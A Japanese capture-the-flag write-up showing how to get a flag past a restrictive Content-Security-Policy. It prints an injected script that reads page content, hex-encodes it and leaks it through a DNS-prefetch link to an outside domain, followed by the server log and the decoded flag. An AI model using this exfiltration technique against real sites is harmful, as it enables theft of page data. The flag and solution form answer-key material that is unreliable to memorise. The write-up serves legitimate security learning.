trivial
(問題を見たことを想定してるよ?)
まあ、iframe
にフラグが在るから、其れをJSで取ってこっちに返すって感じ〜
index.html
にはdefault-src 'none'; script-src 'unsafe-inline';
のCSP directiveが設定されていて、
default-src 'none';
は大体全部のリクエストを拒否して、script-src 'unsafe-inline';
が在るとはHTML内にnonceやハッシュ無しで<script>
を入れれるんだよ。
default-src
のお陰をちょっとめんどく成っちゃたけど、取り敢えず、今(在る程度簡単に)のは出来るのは:
- WebRTC(
default-src
へのfallbackは無いので規定のwebrtc: 'allow';
になるんだよ〜)と、 - DNS prefetchです。 (1週間位STUN/TURNサーバーを設置しようか凄く迷ったんだけど〜)
此れと使ってフラグを取って返します。
<script>
const domain = "namae.test.nyiyui.ca"
function prefetch(url) {
const a = document.createElement("link")
a.rel = "dns-prefetch"
a.href = url
document.head.appendChild(a)
}
function encodeHex(s) {
return Array.from(new TextEncoder().encode(s), byte => byte.toString(16).padStart(2, '0')).join('');
}
let flag = document.body.childNodes[0].textContent.replaceAll(/\s/g, "")
flag = flag.substring(4, flag.length - 1)
const url = `https://lolol${encodeHex(flag)}.${domain}`
prefetch(url)
</script>
- 3から6行目は
<link rel="dns-prefetch" href="${url}" />
をhead
に入れて、(何かドメインに特別な記号が在ると思ったので16進数にしてみたんだけど、意味なかった〜(・・,) ) - 12から15行目はprefetchをする用で〜す
後はサーバーのログを確認して:lolol6373705f69735f6e6f745f615f73656375726974795f66656174757265.namae.test.nyiyui.ca
16進数からASCIIに直すだけ!(≧▽≦)CTF{csp_is_not_a_security_feature}
今思えば確かにどうでもいい簡単な問題ですな。